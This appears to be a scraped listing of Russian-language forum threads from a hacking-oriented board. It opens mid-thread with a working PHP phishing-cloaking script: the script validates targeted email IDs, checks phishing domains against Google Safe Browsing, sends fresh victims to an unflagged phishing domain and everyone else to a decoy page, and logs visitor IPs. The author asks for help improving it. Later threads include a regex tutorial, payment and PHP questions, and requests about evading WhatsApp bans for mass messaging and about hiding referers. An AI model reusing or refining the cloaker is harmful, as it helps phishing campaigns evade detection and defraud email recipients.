Если заход уникален, чекаем фишинг домен на Safe Browsing, если первый(или последний в списке) домен чист то редиректим на

evil.com/?id=john@mail.cc

Click to expand...

, если заход повторный то редиректим на белое.
Собственно все это реализовано уже, но скрипт желательно посмотреть кодеру, так как я не кодер, собрал его через гугл.Прошу помощи допилить его до правильного кода и мб добавить какие идеи по этой реализации и в целом по защите фэйков.Спасибо

PHP:Copy to clipboard

<?php
ob_start();
$curl = curl_init();

################################ Setup

$user = $_GET['id'];
$remove_user = "true"; //Включаем или отключаем фильтр по уникальности
$white_link = "https://dating.com"; // Белый линк
$good_base = file("good_mail",FILE_IGNORE_NEW_LINES); // Файл со списком Email на которые была рассылка, из него будем удалять мыла по мере работы
$filtred_mail = 'filtred_mail'; // Пишем сюда мыла которые отфильтровались
$good_log = 'fullog_index'; // Пишем сюда все заходы на скрипт
################################


$domains = array(
    "https://evil.com/index.php?id=",
    "https://evil2.com/index.php?id="
);

function check_gsb($domain)
{
    global $curl;
    $params = array(
        "client" => array(
            "clientId" => "yourcompanyname",
            "clientVersion" => "1.5.2"
        ),
        "threatInfo" => array(
            "threatTypes" => ["MALWARE", "SOCIAL_ENGINEERING"],

            "platformTypes" => ["WINDOWS"],

            "threatEntryTypes" => ["URL"],

            "threatEntries" => array(
                "url" => $domain
            )
        ),
    );
    $options = array(

        CURLOPT_URL => "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=111111111111111111111",

        CURLOPT_RETURNTRANSFER => true,

        CURLOPT_ENCODING => "",

        CURLOPT_MAXREDIRS => 10,

        CURLOPT_TIMEOUT => 30,

        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,

        CURLOPT_CUSTOMREQUEST => "POST",

        CURLOPT_POSTFIELDS => json_encode($params),

        CURLOPT_HTTPHEADER => array(

            "cache-control: no-cache",

            "content-type: application/json",

            "postman-token: b05b8d34-85f2-49cf-0f8e-03686a71e4e9"

        ),

    );


    curl_setopt_array($curl, $options);
    $response = curl_exec($curl);
    return $response;

}

//Check bad traffic
if (!isset($user) or empty($user)){ //If ID none or = null
header('Location: '.$white_link.'');}

if (!in_array($user, $good_base)){ //If ID non contain in goodmail
$data = $user. ":".$_SERVER["REMOTE_ADDR"].":".$_SERVER["HTTP_USER_AGENT"];
file_put_contents($filtred_mail, print_r($data, true), FILE_APPEND);
file_put_contents($filtred_mail, print_r("\r\n" , true), FILE_APPEND);
header('Location: '.$white_link.'');}

//Good Redirect to Fake
else {
foreach ($domains as $domain) {
    $main_response = check_gsb($domain);
    if (strlen($main_response) < 4) {
        header('Location: '.$domain.$user);

    } else {continue;   }
}}


if ($remove_user == "true"){
$data = file("good_mail");
$out = array();

foreach ($data as $line) {
    if(trim($line) != $user) {
        $out[] = $line;
    }
}

$fp = fopen("good_mail", "w+");
flock( $fp , LOCK_EX);
foreach ($out as $line) {
    fwrite ($fp , $line);
}
flock($fp, LOCK_UN);
fclose($fp); }


function getUserIP()
{
$realip  = @$_SERVER['HTTP_X_REAL_IP'];
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$ip = $remote;
if(filter_var($realip, FILTER_VALIDATE_IP))
{$ip = $realip;    }
elseif(filter_var($client, FILTER_VALIDATE_IP))
{$ip = $client;}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{$ip = $forward;}
else    {$ip = $remote;}
return $ip;}
$realIP = getUserIP();

#full log
file_put_contents($good_log, print_r($_SERVER["HTTP_X_REAL_IP"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($realIP, true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["REMOTE_ADDR"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["HTTP_USER_AGENT"], true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_GET, true), FILE_APPEND);
file_put_contents($good_log, print_r("######################################################\n\r" , true), FILE_APPEND);

curl_close($curl);


?>
maxmind geoip
ID: 67668b27b4103b69df375dd4
Thread ID: 34167
Created: 2020-01-03T08:38:45+0000
Last Post: 2020-01-04T19:15:56+0000
Author: Paramedic
Replies: 5 Views: 4K

поделитесь актуальными базами пожалуйста, у кого есть.

Учим азы regex (регулярные выражения)
ID: 67668b27b4103b69df375dd6
Thread ID: 30328
Created: 2019-07-10T14:50:50+0000
Last Post: 2019-12-10T21:07:58+0000
Author: tabac
Prefix: Статья
Replies: 6 Views: 4K

Что такое Регулярное выражение?

Регулярное выражение - это группа букв или символов, которая используется для поиска определенного шаблона в тексте.

Click to expand...

Регулярное выражение - это шаблон, сопоставляемый с искомой строкой слева направо. Термин «Регулярное выражение» сложно произносить каждый раз, поэтому, обычно, вы будете сталкиваться с сокращениями "регэкспы" или "регулярки". Регулярные выражения используются для замен текста внутри строк, валидации форм, извлечений подстрок по определенным шаблонам и множества других вещей.

Представьте, что вы пишете приложение и хотите установить правила, по которым пользователь выбирает свой юзернейм. Мы хотим, чтобы имя пользователя содержало буквы, цифры, подчеркивания и дефисы. Мы также хотим ограничить количество символов в имени пользователя, чтобы оно не выглядело безобразно. Для этого, используем следующее регулярное выражение:

![Regular expression](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fziishaned%2Flearn- regex%2Fraw%2Fmaster%2Fimg%2Fregexp- ru.png&hash=fabd23765c8db23626f0bc2cc5390401)

Регулярное выражения выше может принимать строки john_doe, jo-hn_doe и john12_as. Оно не валидирует Jo, поскольку эта строка содержит заглавные буквы, а также она слишком короткая.

Содержание

  • Совпадения
  • Метасимволы
    • Точка
    • Набор символов
      • Отрицание набора символов
    • Повторения
      • Звёздочка
      • Плюс
      • Знак вопроса
    • Фигурные скобки
    • Скобочные группы
    • Альтернация
    • Экранирование
    • Якоря
      • Каретка
      • Доллар
  • Наборы сокращений и диапазоны
  • Опережающие и ретроспективные проверки
    • Положительное опережающее условие
    • Отрицательное опережающее условие
    • Положительное ретроспективное условие
    • Отрицательное ретроспективное условие
  • Флаги
    • Поиск без учета регистра
    • Глобальный поиск
    • Мультистроковый поиск
  • Жадные vs ленивые квантификаторы

1. Совпадения.
В сущности, регулярное выражение - это просто набор символов, который мы используем для поиска в тексте. Например, регулярное выражение the состоит из буквы t, за которой следует буква h, за которой следует буква e.

"the" => The fat cat sat on the mat.

Запустить регулярное выражение

Регулярное выражение 123 соответствует строке 123. Регулярное выражение сопоставляется с входной строкой, сравнивая каждый символ в регулярном выражении с каждым символом во входной строке по одному символу за другим. Регулярные выражения обычно чувствительны к регистру, поэтому регулярное выражение The не будет соответствовать строке the.

"The" => The fat cat sat on the mat.

Запустить регулярное выражение

2. Метасимволы
Метасимволы это блоки, из которых строятся регулярные выражения. Метасимволы не означают что-то сами по себе, вместо этого они интерпретируются для распознавания специальных групп символов. Некоторые метасимволы имеют особые обозначения и пишутся в квадратных скобках. Существуют следующие метасимволы:

Метасимволы​| Описание
---|---
.​| Точка соответствует любому отдельному символу, кроме разрыва строки.
[ ]​| Класс символов. Находить любые символы заключенные в квадратных скобках.
[^ ]​| Отрицание класа символов. Находить любые символы не заключенные в квадратных скобках.
*​| Находить 0 или более повторений предыдущего символа.
+​| Находить 1 или более повторений предыдущего символа.
?​| Сделать предыдущий символ необязательным.
{n,m}​| Скобки. Находить по крайней мере "n" но не более чем "m" повторений предыдущего символа.
(xyz)​| Группа символов. Находить только символы xyz в указанном порядке.
|​| Чередование. Находить либо буквы до, либо буквы после символа.
\​| Экранирование. Позволяет находить зарезервированные символы: [ ] ( ) { } . * + ? ^ $ \ |
^​| Обозначает начало пользовательского ввода.
$​| Обозначает конец пользовательского ввода.

2.1 Точка
Точка . это простейший пример метасимвола. Метасимвол . находит любой отдельный символ. Точка не будет находить символы перехода или перевода строки. For example, the regular expression .ar means: any character, followed by the letter a, followed by the letter r. Например, регулярное выражение '.ar' обозначает: любой символ, за которым следуют буквы a и r.

".ar" => The car par ked in the gar age.

Запустить регулярное выражение

2.2 Набор символов.
Набор символов также называется классом символов. Квадратные скобки используются для определения набора символов. Дефис используется для указания диапазона символов. Порядок следования символов, заданный в квадратных скобках, не важен. Например, регулярное выражение [Tt]he обозначает заглавную 'T' или строчную 't', за которой следуют буквы 'h' и 'e'.

"[Tt]he" => The car parked in the garage.

Запустить регулярное выражение

Точка внутри набора символов, однако, обозначает непосредственно точку, как символ. Регулярное выражение ar[.] обозначает строчную 'a', за которой следует 'r', за которой следует '.' (символ точки).

"ar[.]" => A garage is a good place to park a car.

Запустить регулярное выражение

2.2.1 Отрицание набора символов
Знак вставки '^' обозначает начало строки, однако, когда вы вписываете его после открытия квадратных скобок, он отрицает набор символов. Например, регулярное выражение [^c]ar обозначает любой символ, кроме 'c', за которым следуют буквы 'a' и 'r'.

"[^c]ar" => The car par ked in the gar age.

Запустить регулярное выражение

2.3 Повторения
Символы +, * or ? используются для обозначения того, как сколько раз появляется какой-либо подшаблон. Данные метасимволы могут вести себя по- разному, в зависимости от ситуации.

2.3.1 Звёздочка
Символ * обозначает ноль или более повторений предыдущего совпадения. Регулярное выражение a * означает ноль или более повторений предыдущего строчного символа a. Если же символ появляется после набора или класса символов, он находит повторения всего набора символов. Например, регулярное выражение [a-z] *означает любое количество строчных букв в строке.

"[a-z]*" => The car parked in the garage #21.

Запустить регулярное выражение

Символы можно комбинировать, так, например, символ * может использоваться с метасимволом . для поиска одной строки с произвольным содержанием . * . Символ

  • может использоваться с символом пробела \ s, чтобы находить строки с символами пробела. Например, выражение \ s * cat \ s * означает: ноль или более пробелов, за которыми следует слово cat, за которым следует ноль или более символов пробела.

"\scat\s" => The fatcat sat on the concat enation.

Запустить регулярное выражение

2.3.2 Плюс
Символ + соответствует одному или более повторению предыдущего символа. Например, регулярное выражение c.+t означает строчную c, за которой следует по крайней мере один символ, следом за которым идёт символ t. Стоит уточнить, что в данном шаблоне, t является последним t в предложении.

"c.+t" => The fat cat sat on the mat.

Запустить регулярное выражение

2.3.3 Знак вопроса
В регулярном выражении метасимвол ? делает предыдущий символ необязательным. Этот символ соответствует нулю или одному экземпляру предыдущего символа. Например, регулярное выражение [T]?he означает необязательную заглавную букву T, за которой следуют символы 'h' и 'e'.

"[T]he" => The car is parked in the garage.

Запустить регулярное выражение

"[T]?he" => The car is parked in the garage.

Запустить регулярное выражение

2.4 Фигурные скобки
В фигурных скобках, которые также называются квантификаторами, указывается, сколько раз символ или группа символов могут повторяться. Например, регулярное выражение [0-9] {2,3} означает совпадение не менее 2 но не более 3 цифр в диапазоне от 0 до 9.

"[0-9]{2,3}" => The number was 9.999 7 but we rounded it off to 10.0.

Запустить регулярное выражение

Уберём второй номер (цифру 3), тогда, регулярное выражение [0-9] {2,} будет означать совпадение 2 или более цифр. Если мы также удалим запятую, то регулярное выражение [0-9] {3} будет означать совпадение точно с 3 цифрами.

"[0-9]{2,}" => The number was 9.9997 but we rounded it off to 10.0.

Запустить регулярное выражение

"[0-9]{3}" => The number was 9.999 7 but we rounded it off to 10.0.

Запустить регулярное выражение

2.5 Скобочные группы
Скобочные группы это группы подшаблонов, которые написаны в круглых скобках (...). Как мы уже говорили ранее в регулярном выражении, если мы поставим квантификатор после символа, он будет повторять предыдущий символ. Но если мы поставим квантификатор после скобочной группы, он будет искать всю группу. Например, регулярное выражение (ab) * соответствует нулю или более повторений символа "ab". Мы также можем использовать метасимвол чередования | внутри скобочной группы. Например, регулярное выражение (c|g|p)arозначает поиск одной из строчных букв c, g или p, за которыми следуют буквы 'a' и 'r'.

"(c|g|p)ar" => The car is par ked in the gar age.

Запустить регулярное выражение

Обратите внимание, что скобочные группы не только находят, но и захватывают символы для использования на родительском языке. Родительским языком может быть python, javascript или практически любой язык, который реализует использование регулярных выражений как параметров функций.

2.5.1 Не запоминающие скобочные группы
Бывает так, что группу определить нужно, а вот запоминать их содержимое в массиве не требуется. Подобный трюк осуществляется при помощи зарезервированной комбинации ?: в круглых скобках (...). Например, регулярное выражение (?:c|g|p)ar будет находить такие же шаблоны как и (c|g|p)ar, однако скобочная группа при этом создана не будет.

"(?:c|g|p)ar" => The car is par ked in the gar age.

Запустить регулярное выражение

Не запоминающиеся группы пригодиться, когда они используются в функциях поиска и замены или в сочетании со скобочными группами, например, для предпросмотра при создании скобочной группы или другого вида выходных данных, смотрите также [4. Опережающие и ретроспективные проверки](https://github.com/ziishaned/learn- regex/blob/master/translations/README- ru.md#4-%D0%BE%D0%BF%D0%B5%D1%80%D0%B5%D0%B6%D0%B0%D1%8E%D1%89%D0%B8%D0%B5-%D0%B8-%D1%80%D0%B5%D1%82%D1%80%D0%BE%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8).

2.6 Альтернация
В регулярных выражениях, вертикальная черта | используется для определения альтернации (чередования). Альтернация по своей сути похожа на оператор ИЛИ между логическими выражениями. Может создаться впечатление, что чередование это то же самое, что и определение набора символов. Однако, большая разница между ними в том, что набор символов работает на уровне конкретных символов, в то время как альтернация работает на уровне выражений. Например, регулярное выражение (T|t)he|car объединяет два шаблона (заглавная T ИЛИ строчная t, с продолжением из 'h' и 'e') и шаблон (строчная c, затем строчная a, за которой следует строчная r). Таким образом, в поиске будет участвовать любой из данных шаблонов, по аналогии с логической операцией ИЛИ в программировании и алгебре выражений.

"(T|t)he|car" => The car is parked in the garage.

Запустить регулярное выражение

2.7 Экранирование спецсимволов
Обратный слэш \ используется в регулярных выражениях для экранирования следующего символа. Это позволяет формировать шаблоны с поиском зарезервированных символамов, таких как { } [ ] / \ + * . $ ^ | ?. Для использования спецсимвола в шаблоне необходимо указать символ '' перед ним.

Как упомянуто выше, символ . является зарезервированным и соответствует любому значению, кроме символа новой строки. Бывают ситуации, когда необходимо найти точку в предложении, для таких случаев применимо экранирование. Рассмотрим выражение (f|c|m)at\.?, что соответствует следующему шаблону: стройчный символ f, c или m, за которым следует строчные буквы a и t, с опциональной . точкой в конце.

"(f|c|m)at\.?" => The fat cat sat on the mat.

Запустить регулярное выражение

2.8 Якоря
Понятие якорей в регулярных выражениях используется для обозначения проверок, является ли соответствующий символ начальным или конечным символом входной строки. Якоря бывают двух типов: Первый тип - Каретка ^, проверяет, является ли соответствующий символ начальным символом в тексте. Второй тип - Доллар $, проверяет, является ли соответствующий символ последним символом входной строки.

2.8.1 Каретка
Символ каретки ^ используется для проверки, является ли соответствующий символ первым символом входной строки. Если мы применяем следующее регулярное выражение ^a (если a является начальным символом) для строки abc, совпадение будет соответствовать букве a. Если же мы используем регулярное выражение ^b на той же строке, мы не получим совпадения, поскольку во входящей строке abc "b" не является первым символом. Рассмотрим другое регулярное выражение: ^(T|t)he, обозначающее заглавную T или строчную t как первый символ, за которым следуют символы букв 'h' и 'e'. Cоответственно:

"(T|t)he" => The car is parked in the garage.

Запустить регулярное выражение

"^(T|t)he" => The car is parked in the garage.

Запустить регулярное выражение

2.8.2 Доллар
Символ доллара $ используется для проверки, является ли соответствующий символ последним символом входной строки. Например, регулярное выражение (at\.)$ последовательность из строчной a, строчной t, и точки ., ключевой момент в том, что благодаря доллару этот шаблон будет находить совпадения только в том случае, если будет наблюдаться в конце строки. Например:

"(at\.)" => The fat cat. sat. on the mat.

Запустить регулярное выражение

"(at\.)$" => The fat cat. sat. on the mat.

Запустить регулярное выражение

3. Наборы сокращений и диапазоны
Регулярные выражения предоставляют сокращения для часто используемых наборов символов, которые предлагают удобные сокращения для часто используемых регулярных выражений. Наборы сокращенных символов следующие:

Сокращение​| Описание
---|---
.​| Любой символ кроме символа новой строки
\w​| Поиск буквенно-цифрового диапазона символов: [a-zA-Z0-9_]
\W​| Поиск не буквенно-цифрового диапазона символов: [^\w]
\d​| Поиск цифр: [0-9]
\D​| Поиск всего, что не является цифрой: [^\d]
\s​| Поиск пробелов и символов начала строки: [\t\n\f\r\p{Z}]
\S​| Поиск всего кроме пробелов и символов начала строки: [^\s]

4. Опережающие и ретроспективные проверки
Опережающие и ретроспективные проверки (в английской литературе lookbehind, lookahead) это особый вид не запоминающих скобочных групп (находящих совпадения, но не добавляющих в массив). Данные проверки используются, мы знаем, что шаблон предшествует или сопровождается другим шаблоном. Например, мы хотим получить получить цену в долларах $, из следующей входной строки $4.44 and $10.88. Для этого используем следующее регулярное выражение (?<=$)[0-9\.]*, означающее получение всех дробных (с точкой .) цифр, которым предшествует знак доллара $. Существуют следующие виды проверок:

Символ​| Описание
---|---
?=​| Положительное опережающее условие
?!​| Отрицательное опережающее условие
?<=​| Положительное ретроспективное условие
?<!​| Отрицательное ретроспективное условие

4.1 Положительное опережающее условие
Положительное опережающее утверждение (assert) означает, что за первой частью выражения должно следовать опережающее выражение (lookahead expression). (по аналогии с условиями, if (..) then (..)). Возвращенное совпадение содержит только текст, который соответствует первой части выражения. Для определения положительного опережающего условия используются круглые скобки. В этих скобках используется знак вопроса со знаком равенства: (?=...). Опережающее выражение, записывается в скобках после знака равенства. Рассмотрим пример регулярного выражения: (T|t)he(?=\sfat), обозначающее опциональное наличие строчной t или заглавной T, следом буквы h и e. В скобках, мы определяем положительное опережающее условие, которое сообщает движку регулярных выражений информацию о том, что после шаблона The или the будет следовать слово fat.

"(T|t)he(?=\sfat)" => The fat cat sat on the mat.

Запустить регулярное выражение

4.2 Отрицательное опережающее условие
Отрицательное опережающее условие работает по обратному принципу: используется, когда нам нужно получить все совпадения из входной строки, за которыми НЕ следует определенный шаблон. Отрицательное опережающее условие определяется таким же образом, как и позитивное, с той лишь разницей, что вместо равенства = мы ставим восклицательный знак ! (отрицание) например: (?!...). Рассмотрим выражение (T|t)he(?!\sfat), в котором мы находим все The или the слова из входной строки, за которыми не следует слово fat.

"(T|t)he(?!\sfat)" => The fat cat sat on the mat.

Запустить регулярное выражение

4.3 Положительное ретроспективное условие
Положительное ретроспективное условие используется чтобы найти все совпадения, которым предшествует определенный шаблон. Условие определяется как (?<=...). Например, выражение (?<=(T|t)he\s)(fat|mat)означает, найти все слова fat или mat из входной строки, которым предшествует слово The or the.

"(?<=(T|t)he\s)(fat|mat)" => The fat cat sat on the mat.

Запустить регулярное выражение

4.4 Отрицательное ретроспективное условие
Отрицательное ретроспективное условие используется чтобы найти все совпадения, которым НЕ предшествует определенный шаблон. Условие определяется как (?<!...). Например, выражение (?<!(T|t)he\s)(cat) означает найти все слова cat из входной строки, которым не предшествует определенный артикль The или the.

"(?<!(T|t)he\s)(cat)" => The cat sat on cat.

Запустить регулярное выражение

5. Флаги
Флаги, также называемые модификаторами, изменяют вывод регулярного выражения. Эти флаги могут быть использованы в любом порядке или комбинации, и являются неотъемлемой частью регулярных выражений.

Флаг​| Описание
---|---
i​| Поиск без учета регистра
g​| Глобальный поиск: поиск шаблона во всем входном тексте
m​| Мультистроковый поиск: Якоря применяются к каждой строке.

5.1 Поиск без учета регистра
Модификатор i используется для поиска без учета регистра. Например, регулярное выражение /The/gi означает заглавную T следом строчные h и e. В конце регулярного выражения флаг i, указывающий движку регулярных выражений игнорировать регистр. Помимо i, для поиска шаблона во всем входном тексте, использован флаг g.

"The" => The fat cat sat on the mat.

Запустить регулярное выражение

"/The/gi" => The fat cat sat on the mat.

Запустить регулярное выражение

5.2 Глобальный поиск
Модификатор g используется для выполнения глобального сопоставления (найти все совпадения, а не останавливаться после первого). Например, регулярное выражение /.(at)/g означает любой символ кроме символа новой строки, следом строчная a, далее строчная t. Из-за использования флага g в конце регулярного выражения, теперь оно найдет все совпадения во входной строке, а не остановится на первом (что является поведением по умолчанию).

"/.(at)/" => The fat cat sat on the mat.

Запустить регулярное выражение

"/.(at)/g" => The fat cat sat on the mat.

Запустить регулярное выражение

5.3 Мультистроковый поиск
Модификатор m используется для многострочного поиска. Как мы обсуждали ранее, якоря (^, $) используются для проверки, является ли шаблон началом или концом входной строки. Но если мы хотим, чтобы якоря работали в каждой строке, мы используем флаг m. Например, регулярное выражение /at(.)?$/gm означает строчную a, следом строчная t и любой символ кроме начала новой строки, идущий опционально (не обязательно). Из-за флага m механизм регулярных выражений будет искать данный шаблон в конце каждой строки в тексте.

"/.at(.)?$/" => The fat
cat sat
on the mat.

Запустить регулярное выражение

"/.at(.)?$/gm" => The fat
cat sat
on the mat.

Запустить регулярное выражение

6. Жадные vs ленивые квантификаторы
По умолчанию регулярное выражение выполняет жадное сопоставление, то есть оно будет искать совпадения как можно дольше. Мы можем использовать ? для ленивого поиска, который будет стремиться быть как можно более коротким по времени.

"/(.*at)/" => The fat cat sat on the mat.
Запустить регулярное выражение

"/(.*?at)/" => The fat cat sat on the mat.
Запустить регулярное выражение

Автор: © Zeeshan Ahmad

Определение IP в ПУ
ID: 67668b27b4103b69df375dde
Thread ID: 28561
Created: 2019-04-02T15:01:06+0000
Last Post: 2019-09-17T15:17:03+0000
Author: rubene
Replies: 9 Views: 4K

Всем привет.Какие есть варианты определения IP в ПУ?MaxMind еще актуален?Есть у кого-то документация по настройке?

Корректный php
ID: 67668b27b4103b69df375ded
Thread ID: 30069
Created: 2019-06-29T11:50:00+0000
Last Post: 2019-07-03T01:58:14+0000
Author: foficuk
Replies: 8 Views: 4K

Как корректо указывать код в следующих ситуациях?

После действия нужно завершить, удалить скрипт и перекинуть на новую страницу. Но, как?

PHP:Copy to clipboard

unlink('oldscript.php');
header("Location: newscript.php");
exit;

Есть ли разница или как правильнее указывать подгружаемые файлы? Файл - код - файл или сразу все файлы списком?

PHP:Copy to clipboard

<link href="/assets/bootstrap/css/bootstrap.css" rel="stylesheet" type="text/css"/>
<link href="/assets/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="/assets/css/style.css" rel="stylesheet" type="text/css"/>

Code...

<script src="/assets/bootstrap/js/bootstrap.bundle.js" type="text/javascript"></script>
<script src="/assets/bootstrap/js/bootstrap.js" type="text/javascript"></script>
<script src="/assets/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>

И чисто косметический вопрос, есть ли разница как указывать локацию в редиректе? С заглавной или строчной буквы?

Генерация BTC счета и верификация платежа на чистом PHP
ID: 67668b27b4103b69df375def
Thread ID: 29700
Created: 2019-06-07T18:53:14+0000
Last Post: 2019-06-11T08:39:46+0000
Author: zutrovertu
Replies: 7 Views: 4K

Здравствуйте.
Ищу концепт/вариант/сорец генерации BTC счета для последующего перевода на него денег, верификации платежа и вывода сообщения о результате.
Условие: чистый PHP, без js/json.

Смотрел в сторону сервисов, но нет желания платить процент и зависимость от левых сервисов в моем проекте не гуд. Плюс верификация и доп запрос, как в blockchain.info и coinpayments.

Если заложить в скрипт возможность выбора одного кошелька из 100 и более, тем самым создав "случайность", как лучше верифицировать платеж без запроса в сторонний сервис? Насколько я понимаю, никак, нужно брать нижеуказанную штуку и синхронизироваться с блокчейном без посредников.

Думаю насчет bitcoind и json-rpc, но последнее уже выводит из тз. Придется ставить десктопный кошелек и подгружать 150+ гб блокчейна. Есть возможность использовать с bitcoind raw связь вместо json?

Разбираюсь уже порядка 5 часов, адекватных идей нет.

P.S. Для поиска примера копался в дарк ресурсах с наличием оплаты в крипте, но большинство с js и даже с ним работает криво.

Приём платежей на сайте Laravel | Ваш опыт ?
ID: 67668b27b4103b69df375df1
Thread ID: 27546
Created: 2019-01-29T17:05:58+0000
Last Post: 2019-04-26T12:23:41+0000
Author: DeiTy
Replies: 9 Views: 4K

Осваиваю уже какое-то время этот фреймворк . Решил написать небольшой магазин (просто для опыта .) но не могу решить как лучше принимать платежи ?
Опыта с ИМ вообще мало было . Только парочку делал на OC и WP но там плагины / модули спасали .... .
Может кто - что посоветует ?
Интересует не только готовые решения но и вообще логика отслеживания , получения , обработки оплаты . Так что желательно линки на статьи :)
ps : в гугле мало что нашёл а то что нашёл уже прочитал . Хочу больше инфы .

WhatsApp Api
ID: 67668b27b4103b69df375df3
Thread ID: 28373
Created: 2019-03-22T08:40:46+0000
Last Post: 2019-03-29T15:51:39+0000
Author: utrom
Replies: 5 Views: 4K

Подскажите нубу по рассылке по действующим клиентам и связи, ноу криминалити, джаст музыкалити)

ТЗ интеграция. Что то есть живое сейчас? Yowsup детектится, номер в бан улетает, а это не хорошо. Краем уха слышал про несколько разных библиотек.

Куда копнуть, ткните пожалуйста.

Кто поможет реализовать небольшую идею?
ID: 67668b27b4103b69df375df4
Thread ID: 28383
Created: 2019-03-23T00:08:47+0000
Last Post: 2019-03-23T00:08:47+0000
Author: twoxtwo
Replies: 0 Views: 4K

Привет =) Делаю простейшую игру в целях обучения. Игра Ping-Pong на JavaScript и движке Phaser 2.
Хочу сделать, чтобы можно было менять скорость передвижения шарика прямо во время игры.
Тобишь нажатием на кнопку паузы игра останавливается и вылетает меню с выбором скорости(всего 6 режимов скорости).
После выбора скорости и закрытия этой меню скорость шарика сразу изменяется.
вот сама игра http://f0283831.xsph.ru
Если нужно могу архив с исходниками прикрепить.

Не могу сообразить как это реализовать.
Буду очень благодарен за любую помощь мне в обучении))

Скрыть реферер при редиректе
ID: 67668b27b4103b69df375e16
Thread ID: 24227
Created: 2013-05-26T20:10:18+0000
Last Post: 2013-08-19T17:42:44+0000
Author: Quake3
Replies: 7 Views: 4K

Недавно в какой-то теме (вроде на экспе) нашел, что вебмастерам иногда надо редирект без реферера. Давайте обсудим разные способы редиректа пользователей, с реферером и без, в общем, как можно перенаправить юзера куда-нибудь, в основном касается методов на стороне клиента. Т.е. всяческие php header(), htaccess и так далее думаю, мало кому интересны.

Из того, что я нагуглил, практически идеальное (и кросс-браузерное) решение, это popup (про них где-то упоминал Aels, и вообще, многие веб-мастера в инете советуют юзать поп-апы). Т.е. код вида

Code:Copy to clipboard

function go(url) 
{ 
  w = window.open('about:blank','blank'); 
  w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">'); 
  w.document.close(); 
  return false; 
}

Минусы способа - всплывающие окна давно уже режутся всеми браузерами, поэтому надо привязывать функцию к клику (что не особо хороший вариант, как угадать, что юзер кликнет на нужной ссылке/кнопке)? К слову, почему-то на событие mousemove функция у меня не сработала как надо, окно создалось, но инфа в него не записалась (редирект), почему хз (в яваскрипт я не силен, знаю на уровне чтения).

Еще вроде неплохой вариант с ифреймом

Code:Copy to clipboard

<iframe src="javascript:parent.location='тут_линк'" style="visibility:hidden">
</iframe>

но работает далеко не во всех браузерах (реферер пропал в ие и хроме, но остался в фф, опере).

К слову, на всех форумах обсуждения, что могут победить оперу - этот браузер передает редирект при любых условиях.

И еще - по всплывающим окнам. У меня была мысль потестить библиотеки типа extjs, jquery - там же есть компоненты (или как там их) всплывающих окон, которые (пока) браузерами не лочатся. Минус - не факт что удастся подгрузить юзеру целую библиотеку через ифрейм, это все таки не 2-3 строчки кода.

начал учиться
ID: 67668b27b4103b69df375e1b
Thread ID: 23985
Created: 2013-03-10T15:11:17+0000
Last Post: 2013-07-17T22:42:37+0000
Author: Dinhold
Replies: 20 Views: 4K

создаюэтот топ так как возникаю вопросы и одна голова хороше а много - намного лучше
1.какой редактор для кода выбрать - почему?

Вызов функций ядра из usermode
ID: 67668b27b4103b69df375e2b
Thread ID: 21302
Created: 2011-03-15T07:45:47+0000
Last Post: 2012-02-26T17:45:35+0000
Author: accelerator
Replies: 11 Views: 4K

Интересует NtOpenSection, срабатывает в ХР, а в вин7 ACCES DENIED.

wininet - скачивание картинки
ID: 67668b27b4103b69df375e2c
Thread ID: 22621
Created: 2012-02-23T18:32:19+0000
Last Post: 2012-02-26T17:04:35+0000
Author: KraZz
Replies: 20 Views: 4K

Вообщем попался мне на глаза длоадер, давно хотел его посмотреть, но все времени не было
Тут на сайте видел даже, по-моему, обзор по реверсу был, но он мне вообще не понравился, так как не отражал истину до конца
Короче как-то так сложилось, что я привык юзать сокеты и wininet воспринимал как попсу и не при каких обстоятельствах не хотел юзать
Но вот сделал поверхностный реверс этого длоадера, увидел у него функцию загрузки
Короче.. примерно такой код:

Code:Copy to clipboard

DWORD dwSize;
HINTERNET hInternet = InternetOpen("UserAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(hInternet)
{
	HINTERNET hUrl = InternetOpenUrl(hInternet, "http://wasm.ru/forum/img/Invision-board/title_cat.gif", NULL, 0, 0, 0);
	if(hUrl)
	{
  DWORD FileSize = InternetSetFilePointer(hUrl, 0, NULL, FILE_END, 0);
  if(FileSize != 0xFFFFFFFF && FileSize >= 10)
  {
    InternetSetFilePointer(hUrl, 0, NULL, FILE_BEGIN, 0);
    FileSize++;
    pbFile = (PBYTE)VirtualAlloc(NULL, FileSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if(pbFile)
    {
    	do{
      if(!InternetReadFile(hUrl, pbFile, FileSize, &dwSize)) goto LEXIT;
    	}while(dwSize);
[...]

Юзает он этот код, скорее всего из-за его компактности
Но я, к сожалению wininet не юзал и даже не ожидал, что столько может моментально появиться вопросов
В первую очередь погуглил и то, что прочитал, убило наповал, но да ладно оставлю за кадром...

Первый вопрос :
Цитата из статьи
http://www.rsdn.ru/article/inet/wininet.xml - Введение в WinInet

